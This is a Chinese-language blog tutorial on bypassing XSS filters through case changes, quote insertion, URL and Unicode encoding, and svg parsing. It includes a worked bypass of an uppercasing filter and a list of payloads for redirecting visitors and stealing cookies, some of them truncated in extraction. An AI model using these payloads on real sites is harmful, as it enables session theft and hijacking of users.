XSS進階版 01 1 原理 雖然之前寫過,但并不全(是水文),而這期進階版,其中幾個概念必須得先說一下 1 html字符實體 為什么要講這個呢,因為HTML中有些字符是和關鍵詞沖突的,比如<、>、&,解碼之后,瀏覽器會誤認為它們是標簽 php其中有個函數(shù) htmlspecialchars() 函數(shù)就是將一些會產(chǎn)生歧義的符號轉(zhuǎn)移成實體編號,對xss起到了防護作用。 2 解析機制 解析一篇HTML文檔時主要有三個處理過程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面兩個解析看情況而定,但大多數(shù)都是HTML解析->URL解析->JavaScript解析 3 服務器與黑客交互機制 之前的文章(水文)說過,可以回去復習一下 https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd 4 危害 除了以下危害還有很多,感興趣的面向百度⑧ 02 基本概念都說過了,現(xiàn)在就直接進入干貨了 繞過過程: 1 大小寫繞過 這沒啥好說的 <script>alert(zac)</script> 更換成 <ScrIpT>alert(zac)</sCripT> 2 空寫繞過 當網(wǎng)站過濾了onerror 過濾了script 這些敏感字符,但是“ 或者 ' 這種符號會變成空可以繞過,例如代碼 <img src=zac oner”ror=alert(ZAC)> 3 編碼繞過 這是目前來說繞過最常用,使用最多的手段了,利用不同的編碼機制去繞過,有幾個例子 例1: <script>alert(“zac”)</scrIpt> 這是利用了unicode編碼,將r轉(zhuǎn)換成r來繞過 例2: 如下,經(jīng)過了Html解析之后,進入href,就開始url解析了,沒有把協(xié)議給編碼,被URL解析器正確識別。然后URL解析器繼續(xù)解析鏈接剩下的部分,最后就會觸發(fā)xss <a href='javascript:%61%6c%65%72%74%28%31%29'></a> %61%6c%65%72%74%28%31%29這行payload解碼就會變?yōu)閍lert(1) 例3 我們來按照瀏覽器的規(guī)律,解析一下 <a href='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(zac)'> </a> 第一次html解析 第二次url解析 第三次js解析(unicode) 例4 <svg>標簽 當我們的payload的是: <script>alert(1)</script> 可以發(fā)現(xiàn),瀏覽器屁反應都沒有 但是當我們在payload的前加上<svg>的時候 可以發(fā)現(xiàn),界面彈窗了,這是為啥呢 這是因為解析到<svg>標簽時,瀏覽器就開始使用一套新的標準開始解析后面的內(nèi)容,直到碰到閉合標簽</svg>。而在這一套新的標準遵循XML解析規(guī)則,在XML中實體編碼會自動轉(zhuǎn)義,重新來一遍標簽開啟狀態(tài),此時就會執(zhí)行xss了。 4 小型實戰(zhàn) 我們先來看一下代碼 當我們輸入<script>alert(zac)</script>時 會輸出<_SCRIPT>ALERT(ZAC) 可以看到,這個過濾機制就是利用strupper函數(shù),將字符串變成大寫,這是我們要考慮的第一個問題,第二個就是在<符號后面加了_,這是第二個問題,解決這兩個問題,我們才能正常的彈出xss js是區(qū)分大小寫的,所以直接在標簽內(nèi)寫彈窗腳本是不太可行的,但是我們可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,這就可以繞過 那么下斜杠怎么辦呢? 因為后臺匹配的是<符號后面接上正常的字母,如果使用的是不正常的英文字母呢?這里剛好有另外一個條件就是轉(zhuǎn)化大寫的這個操作,這個操作很妙,因為HTML標簽是不區(qū)分大小寫的,這樣我們使用下圖的這個拉丁字母,當轉(zhuǎn)化成大寫的話就剛好是S 所以最后的payload就是 <?cript src=XXXX></script> 這樣我們就可以繞過啦 5 一些xss的payload 1 網(wǎng)站跳轉(zhuǎn) <script>window.location.</script> <meta content='1;http://www.ZACURL.com/' http-equiv='refresh'> 2 cookie盜取 <script>window.location.+escape(document.cookie)</script> 3 不同的彈窗 后記 順便提一嘴,我們學校的紙面滲透授權(quán)書已經(jīng)在要了,等要到了有想鍛煉的dd我 然后我文章里那個輸入法,就是怕別人盜圖惡心我整的,我愛阿貍!耶! ![]() |
|